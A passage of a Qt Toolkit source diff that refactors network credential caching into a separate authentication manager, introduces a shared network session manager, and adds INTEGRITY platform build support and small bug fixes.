-class QNetworkAuthenticationCache: private QVector<QNetworkAuthenticationCredential>,
- public QNetworkAccessCache::CacheableObject
-{
-public:
- QNetworkAuthenticationCache()
- {
- setExpires(false);
- setShareable(true);
- reserve(1);
- }
-
- QNetworkAuthenticationCredential *findClosestMatch(const QString &domain)
- {
- iterator it = qLowerBound(begin(), end(), domain);
- if (it == end() && !isEmpty())
- --it;
- if (it == end() || !domain.startsWith(it->domain))
- return 0;
- return &*it;
- }
-
- void insert(const QString &domain, const QString &user, const QString &password)
- {
- QNetworkAuthenticationCredential *closestMatch = findClosestMatch(domain);
- if (closestMatch && closestMatch->domain == domain) {
- // we're overriding the current credentials
- closestMatch->user = user;
- closestMatch->password = password;
- } else {
- QNetworkAuthenticationCredential newCredential;
- newCredential.domain = domain;
- newCredential.user = user;
- newCredential.password = password;
-
- if (closestMatch)
- QVector<QNetworkAuthenticationCredential>::insert(++closestMatch, newCredential);
- else
- QVector<QNetworkAuthenticationCredential>::insert(end(), newCredential);
- }
- }
-
- virtual void dispose() { delete this; }
-};
-
-#ifndef QT_NO_NETWORKPROXY
-static QByteArray proxyAuthenticationKey(const QNetworkProxy &proxy, const QString &realm)
-{
- QUrl key;
-
- switch (proxy.type()) {
- case QNetworkProxy::Socks5Proxy:
- key.setScheme(QLatin1String("proxy-socks5"));
- break;
-
- case QNetworkProxy::HttpProxy:
- case QNetworkProxy::HttpCachingProxy:
- key.setScheme(QLatin1String("proxy-http"));
- break;
-
- case QNetworkProxy::FtpCachingProxy:
- key.setScheme(QLatin1String("proxy-ftp"));
- break;
-
- case QNetworkProxy::DefaultProxy:
- case QNetworkProxy::NoProxy:
- // shouldn't happen
- return QByteArray();
-
- // no default:
- // let there be errors if a new proxy type is added in the future
- }
-
- if (key.scheme().isEmpty())
- // proxy type not handled
- return QByteArray();
-
- key.setUserName(proxy.user());
- key.setHost(proxy.hostName());
- key.setPort(proxy.port());
- key.setFragment(realm);
- return "auth:" + key.toEncoded();
-}
-#endif
-
-static inline QByteArray authenticationKey(const QUrl &url, const QString &realm)
-{
- QUrl copy = url;
- copy.setFragment(realm);
- return "auth:" + copy.toEncoded(QUrl::RemovePassword | QUrl::RemovePath | QUrl::RemoveQuery);
-}
/*!
Constructs a QNetworkAccessManager object that is the center of
@@ -1123,10 +1023,10 @@ void QNetworkAccessManagerPrivate::authenticationRequired(QNetworkAccessBackend
// also called when last URL is empty, e.g. on first call
if (backend->reply->urlForLastAuthentication.isEmpty()
|| url != backend->reply->urlForLastAuthentication) {
- QNetworkAuthenticationCredential *cred = fetchCachedCredentials(url, authenticator);
- if (cred) {
- authenticator->setUser(cred->user);
- authenticator->setPassword(cred->password);
+ QNetworkAuthenticationCredential cred = authenticationManager->fetchCachedCredentials(url, authenticator);
+ if (!cred.isNull()) {
+ authenticator->setUser(cred.user);
+ authenticator->setPassword(cred.password);
backend->reply->urlForLastAuthentication = url;
return;
}
@@ -1139,7 +1039,7 @@ void QNetworkAccessManagerPrivate::authenticationRequired(QNetworkAccessBackend
backend->reply->urlForLastAuthentication = url;
emit q->authenticationRequired(backend->reply->q_func(), authenticator);
- cacheCredentials(url, authenticator);
+ authenticationManager->cacheCredentials(url, authenticator);
}
#ifndef QT_NO_NETWORKPROXY
@@ -1156,10 +1056,10 @@ void QNetworkAccessManagerPrivate::proxyAuthenticationRequired(QNetworkAccessBac
// possible solution: some tracking inside the authenticator
// or a new function proxyAuthenticationSucceeded(true|false)
if (proxy != backend->reply->lastProxyAuthentication) {
- QNetworkAuthenticationCredential *cred = fetchCachedProxyCredentials(proxy);
- if (cred) {
- authenticator->setUser(cred->user);
- authenticator->setPassword(cred->password);
+ QNetworkAuthenticationCredential cred = authenticationManager->fetchCachedProxyCredentials(proxy);
+ if (!cred.isNull()) {
+ authenticator->setUser(cred.user);
+ authenticator->setPassword(cred.password);
return;
}
}
@@ -1171,75 +1071,7 @@ void QNetworkAccessManagerPrivate::proxyAuthenticationRequired(QNetworkAccessBac
backend->reply->lastProxyAuthentication = proxy;
emit q->proxyAuthenticationRequired(proxy, authenticator);
- cacheProxyCredentials(proxy, authenticator);
-}
-
-void QNetworkAccessManagerPrivate::cacheProxyCredentials(const QNetworkProxy &p,
- const QAuthenticator *authenticator)
-{
- Q_ASSERT(authenticator);
- Q_ASSERT(p.type() != QNetworkProxy::DefaultProxy);
- Q_ASSERT(p.type() != QNetworkProxy::NoProxy);
-
- QString realm = authenticator->realm();
- QNetworkProxy proxy = p;
- proxy.setUser(authenticator->user());
- // Set two credentials: one with the username and one without
- do {
- // Set two credentials actually: one with and one without the realm
- do {
- QByteArray cacheKey = proxyAuthenticationKey(proxy, realm);
- if (cacheKey.isEmpty())
- return; // should not happen
-
- QNetworkAuthenticationCache *auth = new QNetworkAuthenticationCache;
- auth->insert(QString(), authenticator->user(), authenticator->password());
- objectCache.addEntry(cacheKey, auth); // replace the existing one, if there's any
-
- if (realm.isEmpty()) {
- break;
- } else {
- realm.clear();
- }
- } while (true);
-
- if (proxy.user().isEmpty())
- break;
- else
- proxy.setUser(QString());
- } while (true);
-}
-
-QNetworkAuthenticationCredential *
-QNetworkAccessManagerPrivate::fetchCachedProxyCredentials(const QNetworkProxy &p,
- const QAuthenticator *authenticator)
-{
- QNetworkProxy proxy = p;
- if (proxy.type() == QNetworkProxy::DefaultProxy) {
- proxy = QNetworkProxy::applicationProxy();
- }
- if (!proxy.password().isEmpty())
- return 0; // no need to set credentials if it already has them
-
- QString realm;
- if (authenticator)
- realm = authenticator->realm();
-
- QByteArray cacheKey = proxyAuthenticationKey(proxy, realm);
- if (cacheKey.isEmpty())
- return 0;
- if (!objectCache.hasEntry(cacheKey))
- return 0;
-
- QNetworkAuthenticationCache *auth =
- static_cast<QNetworkAuthenticationCache *>(objectCache.requestEntryNow(cacheKey));
- QNetworkAuthenticationCredential *cred = auth->findClosestMatch(QString());
- objectCache.releaseEntry(cacheKey);
-
- // proxy cache credentials always have exactly one item
- Q_ASSERT_X(cred, "QNetworkAccessManager",
- "Internal inconsistency: found a cache key for a proxy, but it's empty");
- return cred;
+ authenticationManager->cacheProxyCredentials(proxy, authenticator);
}
QList<QNetworkProxy> QNetworkAccessManagerPrivate::queryProxy(const QNetworkProxyQuery &query)
@@ -1263,73 +1095,10 @@ QList<QNetworkProxy> QNetworkAccessManagerPrivate::queryProxy(const QNetworkProx
}
#endif
-void QNetworkAccessManagerPrivate::cacheCredentials(const QUrl &url,
- const QAuthenticator *authenticator)
-{
- Q_ASSERT(authenticator);
- QString domain = QString::fromLatin1("/"); // FIXME: make QAuthenticator return the domain
- QString realm = authenticator->realm();
-
- // Set two credentials actually: one with and one without the username in the URL
- QUrl copy = url;
- copy.setUserName(authenticator->user());
- do {
- QByteArray cacheKey = authenticationKey(copy, realm);
- if (objectCache.hasEntry(cacheKey)) {
- QNetworkAuthenticationCache *auth =
- static_cast<QNetworkAuthenticationCache *>(objectCache.requestEntryNow(cacheKey));
- auth->insert(domain, authenticator->user(), authenticator->password());
- objectCache.releaseEntry(cacheKey);
- } else {
- QNetworkAuthenticationCache *auth = new QNetworkAuthenticationCache;
- auth->insert(domain, authenticator->user(), authenticator->password());
- objectCache.addEntry(cacheKey, auth);
- }
-
- if (copy.userName().isEmpty()) {
- break;
- } else {
- copy.setUserName(QString());
- }
- } while (true);
-}
-
-/*!
- Fetch the credential data from the credential cache.
-
- If auth is 0 (as it is when called from createRequest()), this will try to
- look up with an empty realm. That fails in most cases for HTTP (because the
- realm is seldom empty for HTTP challenges). In any case, QHttpNetworkConnection
- never sends the credentials on the first attempt: it needs to find out what
- authentication methods the server supports.
-
- For FTP, realm is always empty.
-*/
-QNetworkAuthenticationCredential *
-QNetworkAccessManagerPrivate::fetchCachedCredentials(const QUrl &url,
- const QAuthenticator *authentication)
-{
- if (!url.password().isEmpty())
- return 0; // no need to set credentials if it already has them
-
- QString realm;
- if (authentication)
- realm = authentication->realm();
-
- QByteArray cacheKey = authenticationKey(url, realm);
- if (!objectCache.hasEntry(cacheKey))
- return 0;
-
- QNetworkAuthenticationCache *auth =
- static_cast<QNetworkAuthenticationCache *>(objectCache.requestEntryNow(cacheKey));
- QNetworkAuthenticationCredential *cred = auth->findClosestMatch(url.path());
- objectCache.releaseEntry(cacheKey);
- return cred;
-}
-
void QNetworkAccessManagerPrivate::clearCache(QNetworkAccessManager *manager)
{
manager->d_func()->objectCache.clear();
+ manager->d_func()->authenticationManager->clearCache();
}
QNetworkAccessManagerPrivate::~QNetworkAccessManagerPrivate()
@@ -1343,11 +1112,8 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co
initializeSession = false;
- if (networkSession)
- delete networkSession;
-
if (!config.isValid()) {
- networkSession = 0;
+ networkSession.clear();
online = false;
if (networkAccessible == QNetworkAccessManager::NotAccessible)
@@ -1358,18 +1124,13 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co
return;
}
- networkSession = new QNetworkSession(config, q);
+ networkSession = QSharedNetworkSessionManager::getSession(config);
- QObject::connect(networkSession, SIGNAL(opened()), q, SIGNAL(networkSessionConnected()));
- QObject::connect(networkSession, SIGNAL(closed()), q, SLOT(_q_networkSessionClosed()));
- QObject::connect(networkSession, SIGNAL(stateChanged(QNetworkSession::State)),
- q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State)));
- QObject::connect(networkSession, SIGNAL(newConfigurationActivated()),
- q, SLOT(_q_networkSessionNewConfigurationActivated()));
- QObject::connect(networkSession,
- SIGNAL(preferredConfigurationChanged(QNetworkConfiguration,bool)),
- q,
- SLOT(_q_networkSessionPreferredConfigurationChanged(QNetworkConfiguration,bool)));
+ QObject::connect(networkSession.data(), SIGNAL(opened()), q, SIGNAL(networkSessionConnected()), Qt::QueuedConnection);
+ //QueuedConnection is used to avoid deleting the networkSession inside its closed signal
+ QObject::connect(networkSession.data(), SIGNAL(closed()), q, SLOT(_q_networkSessionClosed()), Qt::QueuedConnection);
+ QObject::connect(networkSession.data(), SIGNAL(stateChanged(QNetworkSession::State)),
+ q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State)), Qt::QueuedConnection);
_q_networkSessionStateChanged(networkSession->state());
}
@@ -1379,32 +1140,16 @@ void QNetworkAccessManagerPrivate::_q_networkSessionClosed()
if (networkSession) {
networkConfiguration = networkSession->configuration().identifier();
- networkSession->deleteLater();
- networkSession = 0;
- }
-}
-
-void QNetworkAccessManagerPrivate::_q_networkSessionNewConfigurationActivated()
-{
- Q_Q(QNetworkAccessManager);
-
- if (networkSession) {
- networkSession->accept();
-
- emit q->networkSessionConnected();
+ networkSession.clear();
}
}
-void QNetworkAccessManagerPrivate::_q_networkSessionPreferredConfigurationChanged(const QNetworkConfiguration &, bool)
-{
- if (networkSession)
- networkSession->migrate();
-}
-
void QNetworkAccessManagerPrivate::_q_networkSessionStateChanged(QNetworkSession::State state)
{
Q_Q(QNetworkAccessManager);
+ if (state == QNetworkSession::Connected)
+ emit q->networkSessionConnected();
if (online) {
if (state != QNetworkSession::Connected && state != QNetworkSession::Roaming) {
online = false;
diff --git a/src/network/access/qnetworkaccessmanager.h b/src/network/access/qnetworkaccessmanager.h
index f3e502c..7ef009f 100644
--- a/src/network/access/qnetworkaccessmanager.h
+++ b/src/network/access/qnetworkaccessmanager.h
@@ -161,8 +161,6 @@ private:
Q_PRIVATE_SLOT(d_func(), void _q_replySslErrors(QList<QSslError>))
#if !defined(QT_NO_BEARERMANAGEMENT) && !defined(QT_MOBILITY_BEARER)
Q_PRIVATE_SLOT(d_func(), void _q_networkSessionClosed())
- Q_PRIVATE_SLOT(d_func(), void _q_networkSessionNewConfigurationActivated())
- Q_PRIVATE_SLOT(d_func(), void _q_networkSessionPreferredConfigurationChanged(QNetworkConfiguration,bool))
Q_PRIVATE_SLOT(d_func(), void _q_networkSessionStateChanged(QNetworkSession::State))
#endif
};
diff --git a/src/network/access/qnetworkaccessmanager_p.h b/src/network/access/qnetworkaccessmanager_p.h
index ee16c25..dba1fd2 100644
--- a/src/network/access/qnetworkaccessmanager_p.h
+++ b/src/network/access/qnetworkaccessmanager_p.h
@@ -59,6 +59,7 @@
#include "private/qobject_p.h"
#include "QtNetwork/qnetworkproxy.h"
#include "QtNetwork/qnetworksession.h"
+#include "qnetworkaccessauthenticationmanager_p.h"
QT_BEGIN_NAMESPACE
@@ -81,7 +82,8 @@ public:
online(false),
initializeSession(true),
#endif
- cookieJarCreated(false)
+ cookieJarCreated(false),
+ authenticationManager(new QNetworkAccessAuthenticationManager)
{ }
~QNetworkAccessManagerPrivate();
@@ -128,7 +130,7 @@ public:
#endif
#ifndef QT_NO_BEARERMANAGEMENT
- QNetworkSession *networkSession;
+ QSharedPointer<QNetworkSession> networkSession;
QString networkConfiguration;
QNetworkAccessManager::NetworkAccessibility networkAccessible;
bool online;
@@ -137,6 +139,9 @@ public:
bool cookieJarCreated;
+ // The cache with authorization data:
+ QNetworkAccessAuthenticationManager* authenticationManager;
+
// this cache can be used by individual backends to cache e.g. their TCP connections to a server
// and use the connections for multiple requests.
QNetworkAccessCache objectCache;
diff --git a/src/network/access/qnetworkdiskcache.cpp b/src/network/access/qnetworkdiskcache.cpp
index d35f0ce..2040b01 100644
--- a/src/network/access/qnetworkdiskcache.cpp
+++ b/src/network/access/qnetworkdiskcache.cpp
@@ -404,7 +404,7 @@ QIODevice *QNetworkDiskCache::data(const QUrl &url)
// ### verify that QFile uses the fd size and not the file name
qint64 size = file->size() - file->pos();
const uchar *p = 0;
-#ifndef Q_OS_WINCE
+#if !defined(Q_OS_WINCE) && !defined(Q_OS_INTEGRITY)
p = file->map(file->pos(), size);
#endif
if (p) {
diff --git a/src/network/access/qnetworkreplyimpl.cpp b/src/network/access/qnetworkreplyimpl.cpp
index 50dbcc2..41a6c62 100644
--- a/src/network/access/qnetworkreplyimpl.cpp
+++ b/src/network/access/qnetworkreplyimpl.cpp
@@ -97,7 +97,7 @@ void QNetworkReplyImplPrivate::_q_startOperation()
// state changes.
state = WaitingForSession;
- QNetworkSession *session = manager->d_func()->networkSession;
+ QNetworkSession *session = manager->d_func()->networkSession.data();
if (session) {
Q_Q(QNetworkReplyImpl);
@@ -115,7 +115,7 @@ void QNetworkReplyImplPrivate::_q_startOperation()
}
#endif
- if (backend->isSynchronous()) {
+ if (backend && backend->isSynchronous()) {
state = Finished;
q_func()->setFinished(true);
} else {
@@ -257,7 +257,7 @@ void QNetworkReplyImplPrivate::_q_networkSessionConnected()
if (manager.isNull())
return;
- QNetworkSession *session = manager->d_func()->networkSession;
+ QNetworkSession *session = manager->d_func()->networkSession.data();
if (!session)
return;
@@ -307,7 +307,7 @@ void QNetworkReplyImplPrivate::setup(QNetworkAccessManager::Operation op, const
// in QtWebKit.
QVariant synchronousHttpAttribute = req.attribute(
static_cast<QNetworkRequest::Attribute>(QNetworkRequest::DownloadBufferAttribute + 1));
- if (synchronousHttpAttribute.toBool()) {
+ if (backend && synchronousHttpAttribute.toBool()) {
backend->setSynchronous(true);
if (outgoingData && outgoingData->isSequential()) {
outgoingDataBuffer = new QRingBuffer();
@@ -362,7 +362,7 @@ void QNetworkReplyImplPrivate::setup(QNetworkAccessManager::Operation op, const
QMetaObject::invokeMethod(q, "_q_startOperation", Qt::QueuedConnection);
}
#else
- if (backend->isSynchronous())
+ if (backend && backend->isSynchronous())
_q_startOperation();
else
QMetaObject::invokeMethod(q, "_q_startOperation", Qt::QueuedConnection);
@@ -693,7 +693,7 @@ void QNetworkReplyImplPrivate::finished()
if (!manager.isNull()) {
#ifndef QT_NO_BEARERMANAGEMENT
- QNetworkSession *session = manager->d_func()->networkSession;
+ QNetworkSession *session = manager->d_func()->networkSession.data();
if (session && session->state() == QNetworkSession::Roaming &&
state == Working && errorCode != QNetworkReply::OperationCanceledError) {
// only content with a known size will fail with a temporary network failure error
diff --git a/src/network/access/qnetworkrequest.cpp b/src/network/access/qnetworkrequest.cpp
index fc33e8d..8d46003 100644
--- a/src/network/access/qnetworkrequest.cpp
+++ b/src/network/access/qnetworkrequest.cpp
@@ -529,8 +529,9 @@ QSslConfiguration QNetworkRequest::sslConfiguration() const
/*!
Sets this network request's SSL configuration to be \a config. The
settings that apply are the private key, the local certificate,
- the SSL protocol (SSLv2, SSLv3, TLSv1 where applicable) and the
- ciphers that the SSL backend is allowed to use.
+ the SSL protocol (SSLv2, SSLv3, TLSv1 where applicable), the CA
+ certificates and the ciphers that the SSL backend is allowed to
+ use.
By default, no SSL configuration is set, which allows the backends
to choose freely what configuration is best for them.
diff --git a/src/network/bearer/bearer.pri b/src/network/bearer/bearer.pri
index bc5b0b5..d58d5ec 100644
--- a/src/network/bearer/bearer.pri
+++ b/src/network/bearer/bearer.pri
@@ -7,11 +7,13 @@ HEADERS += bearer/qnetworkconfiguration.h \
bearer/qnetworkconfiguration_p.h \
bearer/qnetworksession_p.h \
bearer/qbearerengine_p.h \
- bearer/qbearerplugin_p.h
+ bearer/qbearerplugin_p.h \
+ bearer/qsharednetworksession_p.h
SOURCES += bearer/qnetworksession.cpp \
bearer/qnetworkconfigmanager.cpp \
bearer/qnetworkconfiguration.cpp \
bearer/qnetworkconfigmanager_p.cpp \
bearer/qbearerengine.cpp \
- bearer/qbearerplugin.cpp
+ bearer/qbearerplugin.cpp \
+ bearer/qsharednetworksession.cpp
diff --git a/src/network/bearer/qnetworkconfigmanager.cpp b/src/network/bearer/qnetworkconfigmanager.cpp
index 9927f29..2a46229 100644
--- a/src/network/bearer/qnetworkconfigmanager.cpp
+++ b/src/network/bearer/qnetworkconfigmanager.cpp
@@ -57,16 +57,17 @@ QT_BEGIN_NAMESPACE
{ \
delete this_##NAME.pointer; \
this_##NAME.pointer = 0; \
- this_##NAME.destroyed = true; \
} \
static TYPE *NAME() \
{ \
- if (!this_##NAME.pointer && !this_##NAME.destroyed) { \
+ if (!this_##NAME.pointer) { \
TYPE *x = new TYPE; \
if (!this_##NAME.pointer.testAndSetOrdered(0, x)) \
delete x; \
- else \
+ else { \
qAddPostRoutine(NAME##_cleanup); \
+ this_##NAME.pointer->updateConfigurations(); \
+ } \
} \
return this_##NAME.pointer; \
}
@@ -75,15 +76,7 @@ Q_GLOBAL_STATIC_QAPP_DESTRUCTION(QNetworkConfigurationManagerPrivate, connManage
QNetworkConfigurationManagerPrivate *qNetworkConfigurationManagerPrivate()
{
- static bool initialized = false;
-
- QNetworkConfigurationManagerPrivate *m = connManager();
- if (!initialized) {
- initialized = true;
- m->updateConfigurations();
- }
-
- return m;
+ return connManager();
}
/*!
diff --git a/src/network/bearer/qnetworksession.cpp b/src/network/bearer/qnetworksession.cpp
index 143d9b5..af60a43 100644
--- a/src/network/bearer/qnetworksession.cpp
+++ b/src/network/bearer/qnetworksession.cpp
@@ -250,6 +250,9 @@ QNetworkSession::QNetworkSession(const QNetworkConfiguration &connectionConfig,
}
}
}
+
+ qRegisterMetaType<QNetworkSession::State>();
+ qRegisterMetaType<QNetworkSession::SessionError>();
}
/*!
@@ -677,7 +680,7 @@ void QNetworkSession::connectNotify(const char *signal)
//check for preferredConfigurationChanged() signal connect notification
//This is not required on all platforms
- if (QLatin1String(signal) == SIGNAL(preferredConfigurationChanged(QNetworkConfiguration,bool)))
+ if (qstrcmp(signal, SIGNAL(preferredConfigurationChanged(QNetworkConfiguration,bool))) == 0)
d->setALREnabled(true);
}
@@ -698,7 +701,7 @@ void QNetworkSession::disconnectNotify(const char *signal)
//check for preferredConfigurationChanged() signal disconnect notification
//This is not required on all platforms
- if (QLatin1String(signal) == SIGNAL(preferredConfigurationChanged(QNetworkConfiguration,bool)))
+ if (qstrcmp(signal, SIGNAL(preferredConfigurationChanged(QNetworkConfiguration,bool))) == 0)
d->setALREnabled(false);
}
diff --git a/src/network/bearer/qnetworksession.h b/src/network/bearer/qnetworksession.h
index a4baec3..688f37e 100644
--- a/src/network/bearer/qnetworksession.h
+++ b/src/network/bearer/qnetworksession.h
@@ -142,6 +142,8 @@ private:
#ifndef QT_MOBILITY_BEARER
QT_END_NAMESPACE
+Q_DECLARE_METATYPE(QNetworkSession::State)
+Q_DECLARE_METATYPE(QNetworkSession::SessionError)
#else
QTM_END_NAMESPACE
#endif
diff --git a/src/network/bearer/qsharednetworksession.cpp b/src/network/bearer/qsharednetworksession.cpp
new file mode 100644
index 0000000..51b3a32
--- /dev/null
+++ b/src/network/bearer/qsharednetworksession.cpp
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtNetwork module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qsharednetworksession_p.h"
+#include "qbearerengine_p.h"
+#include <QThreadStorage>
+
+#ifndef QT_NO_BEARERMANAGEMENT
+
+QT_BEGIN_NAMESPACE
+
+QThreadStorage<QSharedNetworkSessionManager *> tls;
+
+inline QSharedNetworkSessionManager* sharedNetworkSessionManager()
+{
+ QSharedNetworkSessionManager* rv = tls.localData();
+ if (!rv) {
+ rv = new QSharedNetworkSessionManager;
+ tls.setLocalData(rv);
+ }
+ return rv;
+}
+
+QSharedPointer<QNetworkSession> QSharedNetworkSessionManager::getSession(QNetworkConfiguration config)
+{
+ QSharedNetworkSessionManager *m(sharedNetworkSessionManager());
+ //if already have a session, return it
+ if (m->sessions.contains(config)) {
+ QSharedPointer<QNetworkSession> p = m->sessions.value(config).toStrongRef();
+ if (!p.isNull())
+ return p;
+ }
+ //otherwise make one
+ QSharedPointer<QNetworkSession> session(new QNetworkSession(config));
+ m->sessions[config] = session;
+ return session;
+}
+
+void QSharedNetworkSessionManager::setSession(QNetworkConfiguration config, QSharedPointer<QNetworkSession> session)
+{
+ QSharedNetworkSessionManager *m(sharedNetworkSessionManager());
+ m->sessions[config] = session;
+}
+
+uint qHash(const QNetworkConfiguration& config)
+{
+ return ((uint)config.type()) | (((uint)config.bearerType()) << 8) | (((uint)config.purpose()) << 16);
+}
+
+QT_END_NAMESPACE
+
+#endif // QT_NO_BEARERMANAGEMENT
diff --git a/src/network/bearer/qsharednetworksession_p.h b/src/network/bearer/qsharednetworksession_p.h
new file mode 100644
index 0000000..dc84166
--- /dev/null
+++ b/src/network/bearer/qsharednetworksession_p.h
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtNetwork module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QSHAREDNETWORKSESSIONPRIVATE_H
+#define QSHAREDNETWORKSESSIONPRIVATE_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qnetworksession.h"
+#include "qnetworkconfiguration.h"
+#include <QHash>
+#include <QSharedPointer>
+#include <QWeakPointer>
+#include <QMutex>
+
+#ifndef QT_NO_BEARERMANAGEMENT
+
+QT_BEGIN_NAMESPACE
+
+class QSharedNetworkSessionManager
+{
+public:
+ static QSharedPointer<QNetworkSession> getSession(QNetworkConfiguration config);
+ static void setSession(QNetworkConfiguration config, QSharedPointer<QNetworkSession> session);
+private:
+ QHash<QNetworkConfiguration, QWeakPointer<QNetworkSession> > sessions;
+};
+
+QT_END_NAMESPACE
+
+#endif // QT_NO_BEARERMANAGEMENT
+
+#endif //QSHAREDNETWORKSESSIONPRIVATE_H
+
diff --git a/src/network/kernel/kernel.pri b/src/network/kernel/kernel.pri
index 66e87c9..bd3e6ec 100644
--- a/src/network/kernel/kernel.pri
+++ b/src/network/kernel/kernel.pri
@@ -23,6 +23,7 @@ SOURCES += kernel/qauthenticator.cpp \
symbian: SOURCES += kernel/qhostinfo_unix.cpp kernel/qnetworkinterface_symbian.cpp
unix:!symbian:SOURCES += kernel/qhostinfo_unix.cpp kernel/qnetworkinterface_unix.cpp
win32:SOURCES += kernel/qhostinfo_win.cpp kernel/qnetworkinterface_win.cpp
+integrity:SOURCES += kernel/qhostinfo_unix.cpp kernel/qnetworkinterface_unix.cpp
mac:LIBS_PRIVATE += -framework SystemConfiguration -framework CoreFoundation
mac:SOURCES += kernel/qnetworkproxy_mac.cpp
diff --git a/src/network/kernel/qauthenticator.cpp b/src/network/kernel/qauthenticator.cpp
index 73143e1..d61d3b7 100644
--- a/src/network/kernel/qauthenticator.cpp
+++ b/src/network/kernel/qauthenticator.cpp
@@ -213,24 +213,6 @@ void QAuthenticator::setUser(const QString &user)
int separatorPosn = 0;
switch(d->method) {
- case QAuthenticatorPrivate::DigestMd5:
- if((separatorPosn = user.indexOf(QLatin1String("\\"))) != -1) {
- //domain name is present
- d->userDomain.clear();
- d->realm = user.left(separatorPosn);
- d->user = user.mid(separatorPosn + 1);
- } else if((separatorPosn = user.indexOf(QLatin1String("@"))) != -1) {
- //domain name is present
- d->userDomain.clear();
- d->realm = user.mid(separatorPosn + 1);
- d->user = user.left(separatorPosn);
- } else {
- d->user = user;
- d->realm.clear();
- d->userDomain.clear();
- }
- break;
-
case QAuthenticatorPrivate::Ntlm:
if((separatorPosn = user.indexOf(QLatin1String("\\"))) != -1) {
//domain name is present
@@ -253,6 +235,7 @@ void QAuthenticator::setUser(const QString &user)
break;
default:
d->user = user;
+ d->userDomain.clear();
break;
}
}
diff --git a/src/network/kernel/qnetworkinterface_symbian.cpp b/src/network/kernel/qnetworkinterface_symbian.cpp
index 03133d0..8e5db3c 100644
--- a/src/network/kernel/qnetworkinterface_symbian.cpp
+++ b/src/network/kernel/qnetworkinterface_symbian.cpp
@@ -43,7 +43,7 @@
#include "qnetworkinterface.h"
#include "qnetworkinterface_p.h"
-#include "../corelib/kernel/qcore_symbian_p.h"
+#include <private/qcore_symbian_p.h>
#ifndef QT_NO_NETWORKINTERFACE
diff --git a/src/network/socket/qlocalsocket.cpp b/src/network/socket/qlocalsocket.cpp
index 8fa4b92..9a2b0ba 100644
--- a/src/network/socket/qlocalsocket.cpp
+++ b/src/network/socket/qlocalsocket.cpp
@@ -346,7 +346,7 @@ QLocalSocket::QLocalSocket(QObject * parent)
QLocalSocket::~QLocalSocket()
{
close();
-#ifndef Q_OS_WIN
+#if !defined(Q_OS_WIN) && !defined(QT_LOCALSOCKET_TCP)
Q_D(QLocalSocket);
d->unixSocket.setParent(0);
#endif
diff --git a/src/network/socket/socket.pri b/src/network/socket/socket.pri
index 2bafe13..3ccc8e0 100644
--- a/src/network/socket/socket.pri
+++ b/src/network/socket/socket.pri
@@ -43,3 +43,13 @@ wince*: {
DEFINES += QT_LOCALSOCKET_TCP
}
+
+integrity: {
+ SOURCES -= socket/qlocalsocket_unix.cpp \
+ socket/qlocalserver_unix.cpp
+ SOURCES += socket/qlocalsocket_tcp.cpp \
+ socket/qlocalserver_tcp.cpp \
+ socket/qnativesocketengine_unix.cpp
+
+ DEFINES += QT_LOCALSOCKET_TCP
+}
diff --git a/src/network/ssl/qsslsocket_openssl.cpp b/src/network/ssl/qsslsocket_openssl.cpp
index 7d21bd3..84e14ff 100644
--- a/src/network/ssl/qsslsocket_openssl.cpp
+++ b/src/network/ssl/qsslsocket_openssl.cpp
@@ -780,6 +780,7 @@ QList<QSslCertificate> QSslSocketPrivate::systemCaCertificates()
systemCerts.append(QSslCertificate::fromData(rawCert, QSsl::Der));
}
}
+ CFRelease(cfCerts);
}
else {
// no detailed error handling here
diff --git a/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp b/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp
index cc02eb7..bbb75bc 100644
--- a/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp
+++ b/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp
@@ -102,7 +102,7 @@ extern Q_GUI_EXPORT bool qt_cleartype_enabled;
